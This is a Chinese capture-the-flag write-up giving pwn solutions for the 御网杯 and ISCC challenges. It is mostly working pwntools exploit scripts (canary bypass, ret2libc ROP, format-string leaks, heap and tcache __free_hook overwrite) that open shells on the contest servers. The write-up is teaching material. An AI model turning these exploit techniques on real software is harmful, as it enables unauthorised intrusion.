打完御网杯和ISCC,发现网络上并没有PWN的解,于是就简单写一下,御网杯和ISCC的所有pwn解

御网杯

pwn canary

通过覆盖canary后再次生成canary

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
context.log_level = "debug"
io = remote("47.105.113.86",30001)
elfs = ELF("./Canary")

magic = 0x401579
ret = 0x000000000040101a

def input_magic(payload):
io.recvuntil("your choice")
io.sendline(b"1")
io.recvuntil("code:")
io.sendline(payload)

def set_canary():
io.recvuntil("your choice")
io.sendline(b"2")
io.recvuntil("But now, I have a new Secret.")
def exit():
io.recvuntil("your choice")
io.sendline(b"3")

payload = b"a"*(0x70-4)+p32(0) + p64(0)+p64(ret) +p64(magic)
pause()
input_magic(payload)
set_canary()
io.interactive()

pwn ez_pwn

禁用stdout,转流到stderr,执行命令时运行同理

1
cat flag >&2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
context.log_level = "debug"
io = remote("47.105.113.86",30003)
#io = process("./ez_pwn")
elfs = ELF("./ez_pwn")
libc = ELF("./libc-2.31.so")

write_plt = elfs.plt['write']
write_got = elfs.got['write']
rdi_ret = 0x00000000004012c3
rsi_ret_pop = 0x00000000004012c1

test1 =p64(elfs.symbols['init']) + p64(elfs.sym['main'])
offset = b"b"*(32 + 8)
payload = offset + p64(rdi_ret)+p64(2)+p64(rsi_ret_pop)+p64(write_got)+p64(0)+p64(write_plt)+p64(elfs.sym['main'])
io.recv()
io.sendline(payload)

write_real = u64(io.recv(8))
print(hex(write_real))
base_addr = write_real - libc.sym['write']
shell = base_addr + libc.sym['system']
bin_sh = base_addr + next(libc.search(b'/bin/sh'))
payload = offset +p64(rdi_ret)+p64(bin_sh) +p64(shell)
pause()
io.sendline(payload)


io.interactive()

special malloc

主函数逻辑(以下代码经过我分析处理)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
const char *v3; // rsi
const char *v4; // rsi
const char *v5; // rsi
const char *v6; // rsi
const char *v7; // rsi
char input[24]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v9; // [rsp+18h] [rbp-8h]

v9 = __readfsqword(0x28u);
init_0(a1, a2, a3);
while ( 1 )
{
while ( 1 )
{
scanf("%15s", input);
getchar();
v3 = (const char *)str2base64(input);
if ( strcmp("YWRk", v3) )
break;
add();
}
v4 = (const char *)str2base64(input);
if ( !strcmp("ZGVsZXRl", v4) )
{
del();
}
else
{
v5 = (const char *)str2base64(input);
if ( !strcmp("c2hvd2l0", v5) )
{
showit();
}
else
{
v6 = (const char *)str2base64(input);
if ( !strcmp("ZWRpdGl0", v6) )
{
editit();
}
else
{
v7 = (const char *)str2base64(input);
if ( !strcmp("Y2F0X2ZsYWdz", v7) && dword_6020F0 == 305419896 )
cat_flags();
else
puts("no");
}
}
}
}
}

可以看出是一个通过base64来进行目录操控的程序,结合内容和名称可以分析出他是自己实现了一个堆生成器

new

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
__int64 __fastcall sub_400A9D(int a1)
{
unsigned int delta[3]; // [rsp+Ch] [rbp-24h]
_DWORD *v3; // [rsp+18h] [rbp-18h]

if ( !flag )
init2(); //仅第一便运行时,确定sbrk_now(sbrk堆开始的初始值)和sbrk_offset当前堆值
delta[2] = 0;
/* delta 0为chunk长度 */
v3 = (_DWORD *)sbrk_now;
*(_QWORD *)delta = (unsigned int)(a1 + 12);
while ( v3 != (_DWORD *)sbrk_offset ) //遍历最后一个外的所有堆块
{
if ( *v3 && v3[1] >= (int)delta[0] ) //当堆块释放并且满足大小大于申请时可以重利用
{
*v3 = 0;
*(_QWORD *)&delta[1] = v3;
if ( v3[2] ) //有重利用地址时返回重利用地址
return (int)v3[2];
v3[2] = (_DWORD)v3; //无重利用地址时为重利用地址赋值(正常情况下第一次调用只标记不重利用,第二次重利用)
break;
}
v3 = (_DWORD *)((char *)v3 + (int)v3[1]); //下一个堆
}
if ( !*(_QWORD *)&delta[1] ) //申请后更新信息
{
sbrk(delta[0]);
*(_QWORD *)&delta[1] = sbrk_offset;
sbrk_offset += (int)delta[0];
*(_DWORD *)(*(_QWORD *)&delta[1] + 4LL) = delta[0];
**(_DWORD **)&delta[1] = 0;
}
return *(_QWORD *)&delta[1] + 12LL;
}

根据申请可以分析出堆块结构

image-20250515233451048.png

editit漏洞利用点

1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned __int64 editit()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( *(&::buf + v1) )
read(0, *(&::buf + v1), 0x80uLL);
return __readfsqword(0x28u) ^ v3;
}

可以越界写

攻击思路

首先申请3个堆块,并释放第二个,此时堆块状态为

image-20250515234247756.png

然后如果正常情况下new会先将蓝色的0变为len处地址,然后向下开开辟新堆块4,第二次new才会重利用蓝色堆块。但我们可以通过直接写绿色堆块进行覆盖到蓝色,然后将magic地址写入蓝色

image-20250515234720437.png

此时当执行到

1
2
if ( v3[2] )	//有重利用地址时返回重利用地址
return (int)v3[2];

时,就会认为这个是可以进行重利用,并将magic地址作为堆块返回,那么下一次修改的位置就为magic

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
io = process("./malloc_special")
context.log_level = "debug"

def new_buf():
io.sendline(b"add")

def free_buf(index):
io.sendline(b"delete")
io.sendline(str(index))

def print_buf(index):
io.sendline(b"showit")
io.sendline(str(index))

def write_buf(index,context):
io.sendline(b"editit")
io.sendline(str(index))
io.send(context)

def backdoor():
io.sendline(b"cat_flags")


payload = b"a"*28+p64(0x0000002c00000001)+p32(0x06020F0)+p32(0x06020F0)
magic_num = p32(305419896)

new_buf()
new_buf()
new_buf()

free_buf(1)
write_buf(0,payload)

new_buf()
write_buf(2,magic_num)
backdoor()

io.interactive()

ISCC

格式化字符串偏移泄露canary,然后就是64位rop链构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from code import interact
from pwn import *
libc = ELF("./pwn")
context.log_level= "debug"
io = remote("101.200.155.151",12400)
io.recv()
io.sendline(b"AAAA%23$X")
io.recv()
p = io.recv()
canary = int(p[4:12],16)
io.send(b"a"*64+p32(canary)+b"a"*12+p32(libc.plt['puts'])+p32(libc.symbols['main'])+p32(libc.got['puts']))
puts_real = io.recvuntil('\xf7')
puts_real = u32(puts_real)
base_addr = puts_real - 0x072880
system_real = base_addr + 0x047cd0
sh_real = base_addr + 0x1b90d5
io.recv()
io.sendline(b"AAAA%23$X")
io.recv()
p = io.recv()
canary = int(p[4:12],16)
io.send(b"a"*64+p32(canary)+b"a"*12+p32(system_real)+p32(libc.symbols['main'])+p32(sh_real))

io.interactive()

本体思路是先通过最开始的UAF进行修改magic为255,来泄露carnary然后进行栈溢出执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
context.log_level = "debug"
io = remote("101.200.155.151",12200)


pop_rdi = 0x00000000004014c3 # pop rdi ; ret
ret = 0x40101a
libc = ELF("./pwn")
#io = process("./pwn")


io.recvuntil('size:\n')
io.sendline(b"100")
io.recvuntil(b"flag:\n")
io.sendline(b"flag")

io.recvline(b"welcome to ISCC")
io.send(b"a"*24+b"b")
io.recvuntil(b"b")
carnary = u64(io.recv(7).rjust(8,b"\x00"))
io.recvuntil(b"meet you")
print(carnary)
io.sendline(b"a"*24+p64(carnary)+b"v"*8+p64(pop_rdi)+p64(libc.got['puts'])+p64(libc.plt['puts'])+p64(libc.symbols['main']))
io.recvuntil(b"too!\n")
puts_real = u64(io.recvuntil(b"\x7f").ljust(8,b"\x00"))
print(hex(puts_real))

base_addr = puts_real - 0x084420
system_real = base_addr + 0x052290
sh_real = base_addr + 0x1b45bd


io.recvline(b"welcome to ISCC")
io.send(b"a"*24+b"b")
io.recvuntil(b"b")
carnary = u64(io.recv(7).rjust(8,b"\x00"))
io.recvuntil(b"meet you")
print(carnary)
pause()
io.sendline(b"a"*24+p64(carnary)+b"v"*8+p64(pop_rdi)+p64(sh_real)+p64(ret)+p64(system_real)+p64(libc.symbols['main']))

io.interactive()

堆溢出+uaf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
io = remote('101.200.155.151', 12700)
#io=process('./attachment-13')
elf = ELF('./attachment-13')
libc=ELF('./attachment-13.6') #2.27
def create(idx,size):
io.sendlineafter(b"your choice:\n", b"1")
io.sendlineafter(b"coordinate:\n", str(idx)) 
io.sendlineafter(b"required:\n", str(size))
def show(idx):
io.sendlineafter(b"your choice:\n", b"4")
io.sendlineafter(b'cosmic truth:\n',str(idx))
def free(idx):
io.sendlineafter(b"your choice:\n", b"2")
io.sendlineafter(b'cleanse:\n',str(idx))
def edit(idx,size,content):
io.sendlineafter(b"your choice:\n", b"3")
io.sendlineafter(b'inscription:\n',str(idx))
io.sendlineafter(b"length:\n", str(size))
io.sendafter(b"truth:\n", content)
create(0,0x410)
create(1,0x20)
create(2,0x20)
create(3,0x20)
create(4,0x20)
free(0)
show(0)
leak_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
libc_base = leak_addr - 0x3ebca0
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
free(2)
free(3)
edit(3,0x8,p64(free_hook))
create(2,0x20)
create(3,0x20)
edit(3,0x8,p64(system)) 
edit(4,0x8,b'/bin/sh\x00')
free(4)
io.interactive()